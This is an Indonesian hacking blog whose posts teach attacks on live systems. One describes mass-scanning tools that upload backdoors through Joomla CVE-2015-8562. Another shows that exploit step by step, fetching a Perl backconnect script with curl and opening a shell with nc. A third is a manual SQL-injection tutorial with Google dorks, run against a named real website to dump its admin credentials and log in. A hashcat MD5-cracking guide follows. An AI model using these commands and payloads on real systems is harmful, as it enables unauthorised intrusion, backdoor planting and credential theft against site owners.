Wednesday, June 8, 2016

Exploit Joomla HTTP Header Unauthenticated Remote Code Execution Version 1.5.0 - 3.4.5 #2

Pada kali ini saya akan share script auto scanner dan uploader shell/backdoor CVE-2015-8562. Jika belum tahu bagaimana cara mengeksploitasi bug tersebut secara manual, bisa kalian baca di http://0day.nuct.or.id/2016/05/exploit-joomla-http-header.html.

Dikarenakan mengeksploitasi bug joomla CVE-2015-8562 secara manual cukup membutuhkan waktu, maka dari itu kami membuat suatu script auto-scan dan auto-uploader agar dapat mempersingkat waktu kita.

Untuk scriptnya bisa di lihat di bawah ini :

1. Scanner Joomla CVE-2015-8562
2. Exploit Joomla CVE-2015-8562

Jika sudah di copy,lalu paste di notepad atau editor apapun dan simpan dengan format .php (ex : scanner.php).

POC (Proof Of Concept)

  1. Buatlah list site di sebuah file untuk melakukan scanning dengan script scanner,disini saya menaruh data list sitenya pada file "joomla.txt". Lalu jalankan script tersebut di CLI (CMD/Terminal) dengan command :
    "php nama_file.php list_target.txt"
    Contoh :
    "php scanner_joomla_http_header_rce.php joomla.txt"



    Pada akhir scanner kita lihat bahwa kita mendapatkan 1 site yang vulnerable dari 4 site yang kita scan. Untuk melihat hasil dalam bentuk file,bisa di lihat pada file "joomla_vuln.txt".


  2. Dilangkah ini kita hanya tinggal exploitasi site yang vulnerable. Pada script ini adalah final dalam exploit kita ini,karna di bagian ini kita melakukan upload shell/backdoor. Oke langsung saja kita menggunakan command :
    "php nama_file.php list_target_vuln.txt"

    Untuk list target yang vuln,kita bisa gunakan file hasil dari scanner kita yang sebelumnya,jadi kita bisa command :
    "php exploit_joomla_http_header_rce.php joomla_vuln.txt"


    Yup, hampir sama seperti pada script scanner,pada ahkhir script kita akan melihat status akhirnya,dan kita lihat dini bahwa hasil akhirnya adalah "Uploaded : 1" jadi berarti shell/backdoor kita sudah di dalam website target,dan jika ingin melihat list-nya,bisa juga di lihat pada file "joomla_backdoor.txt"

    Dan skarang kita coba buka di browser

    Kita lihat,shell kita berhasil di buka :D

Oke sampai disini dulu tutorialnya, jika ada pertanyaan,kritik dan saran silahkan berkomentar dibawah ini :)

Tuesday, May 24, 2016

Exploit Joomla HTTP Header Unauthenticated Remote Code Execution Version 1.5.0 - 3.4.5

Sekilas Tentang Bug Joomla HTTP Header Unauthenticated Remote Code Execution

Pada akhir tahun 2015 tepatnya sekitar bulan Desember, Website - website di seluruh dunia yang menggunakan Platform Joomla sebagai CMS-nya mendapatkan ancaman yang cukup serius dikarenakan di temukan bug/celah yang menginfeksi CMS ini dan versi yang terinfeksi pada saat itu tidak tanggung - tanggung yaitu antara version 1.5.0 - 3.4.5.

Yup versi 1.5.0 - 3.4.5,jika kalian sering oprek - oprek CMS Joomla mungkin versi ini adalah termasuk versi yang masih lumayan baru pada saat itu. (saat ini juga mungkin masih banyak website - website yang menggunakan versi tersebut). Oleh karena itu,disini saya akan menjelaskan sedikit bagaimana cara mengeksploitasi CMS Joomla pada versi tersebut.

Proof Of Concept (POC)


TARGET : http://192.168.43.36/joomla/ (saya menggunakan IP local disini tapi cara ini-pun bisa di gunakan untuk IP publik)




Information Gathering (Mengumpulkan Informasi)

1. Memeriksa Versi PHP Target

Ya, Versi PHP juga mempengaruhi berjalan atau tidak berjalannya exploit ini,menurut info yang saya dapatkan versi PHP yang terdapat pada server target harus memenuhi kiteria seperti dibawah ini :

PHP Vulnerable Joomla HTTP Header Unauthenticated Remote Code Execution Version 1.5.0 – 3.4.5
Version 5.3.xx
Version ≤ 5.4.45
Version ≤ 5.5.29
Version ≤ 5.6.13

Untuk mengetahui versi php pada target kita bisa melakukannya dengan berbagai cara,bagaimanapun caranya itu sama saja, intinya kita harus bisa mengetahui versi php yang di gunakan oleh target, kalo saya disini akan mencoba cek versi php target dengan menggunakan NMAP. (Jika ada yang belum tau bagaimana cara menginstall NMAP bisa searching di google).

Untuk cara penggunaannya cukup mudah,hanya dengan menggunakan command :
"nmap -p 80 -sV --script=http-php-version.nse <target>"

Oke,skarang saya akan coba cek versi php pada target saya dengan command :
"nmap -p 80 -sV --script=http-php-version.nse 192.168.43.36"



Nah kita lihat,ternyata versi php pada target yaitu PHP/5.6.12. Dimana versi tersebut ada di dalam list php yang vulnerable. Maka dari itu kita dapat melanjutkan proses information gathering ini.

2. Memeriksa Versi Joomla Target

Setelah kita mengetahui versi PHP pada target,skarang waktunya kita mengecek versi joomla yang di gunakan target. Dengan cara menyisipkan url "/language/en-GB/en-GB.xml" setelah url joomla target.

Contoh jika saya disini jadi-nya "http://192.168.43.36/joomla/language/en-GB/en-GB.xml"


Bisa kita liat,kita mendapatkan joomla versi 3.3.1, yang artinya joomla versi tersebut masuk kedalam range dalam exploit ini dan tidak menutup kemungkinan kita dapat mengeksploitasi joomla tersebut :D.

Setelah kita sudah cukup mendapatkan informasi maka selanjutnya kita masuk ke bagian exploit joomla-nya itu sendiri.

Exploit Joomla (Eksploitasi CMS Joomla)

Tools

Ada beberapa tool yang harus di download antara lain adalah
Jika semua tool sudah di download saat-nya kita mulai eksploitasi ini

1. Masuk ke terminal dan jalankan script "Exploit Joomla 1.5.0 - 3.4.5" dengan command :
"python joomlarce.py -t <target> --cmd

Jadinya :
"python joomlarce.py -t http://192.168.43.36/joomla/ --cmd


2. Disinilah kita memulai backconnect terhadap server joomla tersebut,yang harus di lakukan adalah memasukan script backconnect ke dalam server target tersebut. Oleh karena itu saya memberikan optional untuk mendownloadnya,karna kita bisa mendownload-nya langsung kedalam server dengan link github yang saya berikan.

Oke,langsung saja kita coba untuk mendownload script backconnect yang ada di github saya melalui server target via curl.
Disini saya menggunakan command :
"curl https://raw.githubusercontent.com/jasayosep/backcoonect/master/perl.txt -o /tmp/backconnect.pl"


Jika muncul "<Response [200]>" Artinya server target membalasnya dengan kondisi baik dan kita ansumsikan bahwa "backconnect" kita sudah ada di dalam server target yang berada pada path /tmp dengan nama "backconnect.pl"

3. Selanjutnya kita harus menjalankan backconnect tersebut agar dapat kita hubungkan dengan PC/Laptop kita. Oke langsung saja kita jalankan script "backconnect.pl" kita dengan command :
"perl /tmp/backconnect.pl 1337"


NP: angka 1337 itu adalah port yang kita gunakan untuk melakukan backconnect dan bisa kita ganti sesuai selera kita

Baik,kita lihat,setelah saya menjalankan script "backconnect.pl" di dalam server target ternyata saya tidak mendapatkan response apa-apa :( ....... tapi tenang saja,ini berarti script kita berhasil dijalankan di dalam server tersebut tetapi apabila server merespon-nya dengan "<response [200]>" itu artinya script "backconnect.pl" kita tidak berjalan di dalam server target. Oke karna disini saya tidak mendapatkan respon apa-apa,kita dapat melanjutkan exploit ini.

4. Jika script sudah berjalan di server target,lalu selanjutnya apa?  Ya, tidak lain tidak bukan adalah melakukan backconnect dari PC/Laptop kita ke server target. Baik yang harus di lakukan pertama ialah kita buka terminal baru (terminal yang kita buat exploit jangan di tutup biarkan saja seperti itu) lalu setelah terbuka terminal baru kita lanjutkan dengan menuliskan command :
"nc -vv <target> <port>"

Sehingga di dalam tutorial ini kita dapat menuliskannya menjadi :

"nc -vv 192.168.43.36 1337"

Dan untuk port-nya, kita sesuaikan dengan port yang kita jalankan di server target. (Pada command "perl /tmp/backconnect.pl 1337")

lalu setelah kita enter maka....


Ya, kita lihat bahwa kita mendapatkan akses shell ke server target :D

Selain tutorial dalam bentuk tulisan, saya juga membuatnya dalam bentuk video dan bisa lihat di bawah ini :




Oke,Mungkin sampai sini dulu tutorialnya,Dan jika ada kritik,saran atau mungkin pertanyaan silahkan berkomentar dibawah ini.

Sunday, August 16, 2015

Decrypt MD5 tanpa wordlist dengan hashcat

Oke langsung aja sesuai judul kali ini saya akan sharing bagaimana memecahkan hash MD5 tanpa wordlist.

Baik yang pertama yang kita perlukan adalah hash MD5 (Hash MD5 ini bisa kita dapat dari hasil encrypt password atau encrypt apapun yang menggunakan encrypter MD5)

Disini saya menggunakan hash ini : f18b4f8cd384680913fc54908d63fcb3

Setelah kita tau hashnya lalu kita coba pecahkan,mungkin agan sekalian sudah tau web Decrypter MD5 yang lumayan terkenal yaitu http://www.hashkiller.co.uk/md5-decrypter.aspx ya web tersebut memang di khususkan untuk memecahkan hash MD5.



Baiklah tidak ada salahnyakan kita coba dahulu di web tersebut,dengan cara copy hash yang saya cantumkan lalu paste di web tersebut,seperti dibawah ini.


Setelah itu kita Submit dan hasilnya...



Ternyata hasilnya [Not found].

Oke,sekarang waktunya hashcat beraksi :D
Bahan2 yang di perlukan :

- Hashcat0.49 (Jika belum belum punya hashcat silahkan donwload disini)
- File hash MD 5(Kita gunakan yang saya cantumkan)

Untuk OS,saya menggunakan Linux BackBox,sebenernya linux distro apapun bisa di install hashcat.

1. Buka terminal lalu masuk ke dir hashcat 0.49.disini direktori hashcat saya di "/opt/hashcat0.49/" jadi ketikan di terminal "cd /opt/hashcat0.49/".


2. Buat file untuk menempatkan hash MD5,misalnya disini saya membuat file md5 hash di "/tmp/hashmd5.txt".

3. Setelah itu kita ketikan
"./hashcat-cli32.bin -m 0 -a 3 -n 32 --custom-charset1=?l?s --pw-min=4 --pw-max=12 /tmp/hashmd5.txt ?1?1?1?1?1?1?1?1?1?1?1?1 -o /tmp/hasilhashmd5.txt"
lalu enter.

Oke saya jelaskan masuk command diatas.

hashmd5.txt = file hash MD5.
hasilhashmd5.txt = file hasil hash MD5.
-m = Type hash yang ingin kita gunakan.
-a = Jenis serangan yang kita gunakan.
-n = Threads yang kita gunakan.
--custom-charset1 = Jenis karakter hasil decrypt yang akan kita gunakan  .
--pw-min = minimal word hasil decrypt.
--pw-max = maksimal word hasil decrypt.

Note :
Untuk lebih jelasnya bisa ketikan command "./hashcat-cli32.bin --help"

4. Jika pada baris "Recovered" terdapat "1/1 hashes, 1/1 salts" itu artinya hash kita sudah di pecahkan.

5. Untuk melihat hasilnya ketikan "cat /tmp/hasilhashmd5.txt"


Hasilnya terlihat seperti diatas yang saya blok berwarna biru.

Oke sekian tutorial dari saya,mohon maaf jika ada salah - salah kata dalam membuat tulisan ini.

Semoga bermanfaat.

Jika ada pertanyaan,kritik,atau saran silahkan berkomentar .

Wednesday, November 26, 2014

Tutorial Hacking SQL Injection dengan cara manual

Hai sobat blogger,kali ini saya akan membahas tentang SQL Injection dengan cara manual,sebenarnya ada juga cara yg lebih simple dengan menggunakan sqlmap tetapi tidak ada salahnya juga kan kita coba dengan cara manual agar kita bisa tau dasar2nya :D

Apa itu SQL Injection?
SQL Injection (SQLI) adalah suatu teknik hacking yang di gunakan oleh penyerang/attacker untuk mendapatkan sebuah database dengan menyisipkan perintah - perintah SQL melalui url

Bagaimana cara mengetahui web yang terkenal celah SQLI?
Hal yang pertama harus di ketahui oleh attacker untuk mengetahui apakah suatu situs terkena celah SQL Injection atau tidak adalah dengan cara membuat suatu error pada URL tersebut,dengan cara menambah karakter (') [tanpa tanda kurung setelah angka/id pada situs tersebut

Berikut adalah contoh url yg memungkinkan terkena celah SQL Injection
http://situstarget.com/berita.php?id=23 --> web terlihat normal
lalu kita sisipkan karakter ' untuk mengetahui situs tersebut error atau tidak, seperti dibawah ini
http://situstarget.com/berita.php?id=23' -->web terlihat error



Bagaimana cara mencari target suatu web untuk di eksekusi?
Gampang saja,kalo untuk mecari web yang terkena celah SQL Injection adalah dengan cara dorking di google :D
Apa itu dorking? dorking adalah suatu cara attacker untuk mencari struktur pada sebuah situs seperti mencari direktori/file/script dan lain lain

Untuk Dork SQLI sobat bisa gunakan dork-dork di bawah ini :
inurl:azerty.php?id=
inurl:bouquin.php?id=
inurl:lien.php?id=
inurl:clavier.php?id=
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:games.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=

Oke mungkin sudah cukup penjelasan tentang SQL Injection,sekarang kita coba untuk melakukan teknik SQL Injection ini :D


Pertama-pertama kita mencari target dengan teknik dorking :D seperti dibawah ini

Nah seperti contioh diatas saya menemukan web yang memungkinkan memiliki celah SQL Injection,yup langsung aja kita test url tersebut dengan memberikan karakter (') pada id url agar kita bisa mengetahui web tersebut bisa di SQL Injection atau tidak :D

http://morningkiss.com.my/product_detail.php?id=116

Contoh gambar diatas adalah pada saat kondisi web masih normal dan belum kita berikan karakter (') pada id url,sekarang kita coba tambahkan karakter (') pada id url menjadi :

Seperti kita lihat pada gambar diatas setelah kita berikan karakter (') pada url id maka terdapat error pada isi web tersebut "Fatal error: Call to a member function Recordcount() on a non-object in /home/agan/sites/morningkiss.com.my/public_html/product_detail.php on line 60" jika begitu berarti web tersebut terkena celah SQL Injection.
NP : untuk error pada website bisa berbeda - beda pesan teksnya tidak selalu seperti contoh diatas
Berikut contoh-contoh error pada web yang terkena celah SQL Injection
-You have an error in your SQL syntax;
-Warning: mysql_fetch_array()
-Warning: mysql_num_rows()
-dan masih banyak lagi

Oke lanjut,sekarang kita coba untuk mengetahui isi database web tersebut menggunakan perintah-perintah Query ;)

Untuk mengetahui isi database web tersebut,pertama kita harus mencoba temukan ada berapa column database tersebut dengan cara memberikan perintah "order by 1--+-" pada akhir url id menjadi :
Untuk lebih jelasnya seperti dibawah ini

Nah ketika kita coba tambahkan perintah tersebut,web kembali normal tetapi disini kita harus mengetahui ada berapa column database itu,berarti kita harus mencarinya dengan perintah sebelumnya dengan merubah perintah "order by 1--+-" menjadi "order by 2--+-" dan jika kita sudah mengubahnya dengan "order by 2 --+-" kondisi web masih normal kita coba terus dengan menambahkan angka tersebut terus menerus sampai mendapatkan suatu error seperti gambar dibawah ini

Dan kita menemukan error pada "order by 9 --+-" atau jika di tulis di url
berarti kita mengetahuinya,column database tersebut terdapat 8 column,loh kok kenapa 8 column? sedangkan di website errornya sampai di order 9? oke saya jelaskan disini. Kenapa 8 column? kerena setelah kita coba dengan perintah order by 1,2,3,4,5,6,7 sampai 8 tidak terdapat error dan yang terjadi error pada order by 9,secara logika berarti web tersebut tidak ada database di column ke 9 dan hanya ada sampai column ke 8. ya seperti itulah kurang lebih jelasnya hehe..

Oke lanjut..
setelah kita mengetahui ada 8 column sekarang kita juga harus mengetahui dimana letak isi column pada laman web tersebut di antara 8 column itu dengan perintah "union select 1,2,3,4,5,6,7,8--+-" dan sebelum id url tersebut kita berikan karakter (-) urlnya menjadi :

Setekah di coba ternyata muncul angka - angka ajaib hehe,disana kita lihat terdapat angka 2 dan 6 yang sebelumnya tidak ada pernah ada angka tersebut,karna dari itu disebut angka ajaib hehe..
pertanyaannya untuk apa angka ajaib itu? oke saya jelaskan,kan sebelumnya kita mau mencari letak isi column laman pada web tersebut diantara 1-8 column,nah itu dia angka ajaib itu adalah letak column isi lama pada web tersebut,di column 2 atau 6 itu sama saja :D

Oke ketika kita sudah mengetahui letak columnya,kita bisa melihat apa saja yang kita perlukan melalui perintah-perintah query seperti melihat versi database,nama column database,dan lain-lain

Sebelum kita melanjutkannya kita harus tau version database tersebut,karna jika version database web tersebut adalah version 4.xx.xx.xx itu agak ribet melakukan perintah2 SQL Injectionnya karna untuk melakukan perintah2 SQLi pada versi 4 kita harus menebak 1 per 1 tabel yang ada pada databasenya. Tetapi jika kita menemukan version 5.xx.xx.xx berarti kita bisa melanjutkan eksekusi SQL Injection ini

Yup,untuk melihat version database kita menggunakan perintah "@@version" pada angka ajaib tersebut dengan cara mengubah angka 2 (angka 2 atau 6 sama saja,tapi disini saya menggunakan angka 2) menjadi "@@version" jadi urlnya menjadi :
http://morningkiss.com.my/product_detail.php?id=-116 union select 1,@@version,3,4,5,6,7,8--+-


Dan ternyata version databasenya 5.1.73 berarti kita bisa melanjutkannya hehe
NP:Tapi biasanya rata2 semua web sudah menggunakan version databse 5 keatas,jadi jarang version 4 kebawah

Lalu setelah sudah mengetahui version,sekarang yang kita lakukan adalah melihat isi nama - nama database tersebut,tujuan melihat isi database bermacem macem seperti kita ingin melihat user dan password admin atau data-data penting lainnya jadi celah SQL Injection ini cukup berbahaya juga

Oke lanjut,cara untuk melihat isi nama-nama database kita menggunakan perintah "group_concat(table_name)" dan lalu di akhir url sebelum karakter "--+-" kita tambahkan perintah "from+information_schema.tables+where+table_schema=database()" jadi urlnya menjadi :
http://morningkiss.com.my/product_detail.php?id=-116 union select 1,group_concat(table_name),3,4,5,6,7,8+from+information_schema.tables+where+table_schema=database()--+-


Dan alhasil kita lihat,kita mendapatkan isi-isi database web tersebut :D sekarang kita coba mencari user admin pada web tersebut,biasanya isi database user admin begitu namanya admin,useradmin,loginadmin,useradmin,atau yang lainnya yang bergantungan dengan admin,nah disini kita bisa melihat kita sepertinya menemukan table database admin yaitu dengan "tbl_admin" ya udah kalo begitu kita coba bongkar isi table tbl_admin tersebut dengan mengubaha sedikit perintah sebelumnya,jadi perintah "group_concat(table_name)" di ubah menjadi "group_concat(column_name)" dan perintah "from+information_schema.tables+where+table_schema=" menjadi "from+information_schema.columns+where+table_name=" lalu "database()" di ubah menjadi Decimal tbl_admin,nah untuk mengubah teks "tbl_admin" menjadi Decimal kita bisa menggunakan add-ons yang terdapat pada mozilla firefox yaitu add-ons yang bernama HackBar atau kalian bisa download dan install di sini
NP: jika tidak muncul HackBarnya pada saat sudah selesai install kalian bisa memunculkan hanya tinggal klik kanan pada menu firefox lalu pilih HackBar

Dan untuk cara penggunaanya cukup mudah hanya tinggal pilih SQL > MySQL > MySQL CHAR() setelah itu masukan teks yang ingin di ubah ke Decimal contoh kasus disini ialah "tbl _admin" dan alhasil kita dapatkan hasilnya yaitu "CHAR(116, 98, 108, 95, 97, 100, 109, 105, 110)" setelah itu kita masukan ke perintah SQL Injection

Nah setelah informasi sudah di dapatkan lalu kita masukan perintahnya untuk melihat isi table tbl_admin tersebut, jadi urlnya menjadi :
http://morningkiss.com.my/product_detail.php?id=-116 union select 1,group_concat(column_name),3,4,5,6,7,8+from+information_schema.columns+where+table_name=CHAR(116, 98, 108, 95, 97, 100, 109, 105, 110)--+-


Dan ternyata pada saat kita gunakan perintah tersebut kita bisa melihat disana ada column database untuk username admin dan password admin,ya sudah langsung saja kita bongkar dengan sedikit lagi mengubah perintah sebelumnya yaitu "group_concat(column_name)" dengan "group_concat(admin_username,0x3a,admin_password)" dan "+from+information_schema.columns+where+table_name=CHAR(116, 98, 108, 95, 97, 100, 109, 105, 110)--+-" menjadi "+from+tbl_admin--+-"

NP:perintah yang terdapat di antara admin_username dan admin_password adalah perintah untuk memisahkan/pembatas kerakter (:) agar username dan password tidak berantakan ketika kita lihat jadi bisa kita gunakan permisah dengan perintah 0x3a

dan urlnya sekarang menjadi :
http://morningkiss.com.my/product_detail.php?id=-116 union select 1,group_concat(admin_username,0x3a,admin_password),3,4,5,6,7,8+from+tbl_admin--+-


daaannnn..... Gotcha kita mendapatkan username dan password admin hehehe..
Lalu langkah terakhir tinggal mencari tempat admin loginnya biasanya sih di /admin atau /administrators tapi jika kalian coba lalu tidak nemu login adminnya kalian bisa gunakan software "Acunetix Web Vulnerability Scanner" ini adalah software yang di gunakan webmaster untuk mengecek security web mereka
tapi bisa juga kita gunakan untuk mencari admin login lohhh.. cara menggunakannya cukup mudah hanya dengan memasukan web yg ingin kita scan di kolom scan pada software tersebut lalu software tersebut akan secara otomatis memberikan informasi kepada kita direktori pada web tersebut hehe untuk lebih jelasnya lihat gambar dibawah ini :

dan kita lihat disana saya mencoba scan web http://morningkiss.com.my dan ternyata admin loginnya terdapat pada dir adminCP,ketika agan sekalian sudah tau dir admin dan username password admin tinggal tunggu apalagi coba kita login

Dan hasil kita bisa login,sekarang tinggal seterah agan dah mau diapain,

Yup sampai disini dulu Tutorial dari saya,untuk kurang lebihnya mohon maaf jika ada kesalahan dalam pengetikan dan Penyampaiannya :D

Jika ada pertanyaan atau saran silahkan komentar dibawah ini :)

Monday, February 25, 2013

Decrypt Script Online

Disini adalah cara untuk membongkar script/source code yang di kunci oleh seseorang pembuat script tersebut,contoh script yg bisa di buka di sini adalah seperti ini
Click Here
Setelah terlihat source code/script yang di encrypt lalu copy dan pastekan di bawah ini,lalu kita bongkar isi code2 tersebut :D dengan menekan tombol dencrypt

Masukkan Kode Encrypt HTML Bawah Ini



Hasilnya Ada Di Bawah Sini ,Tinggal Di Copy Saja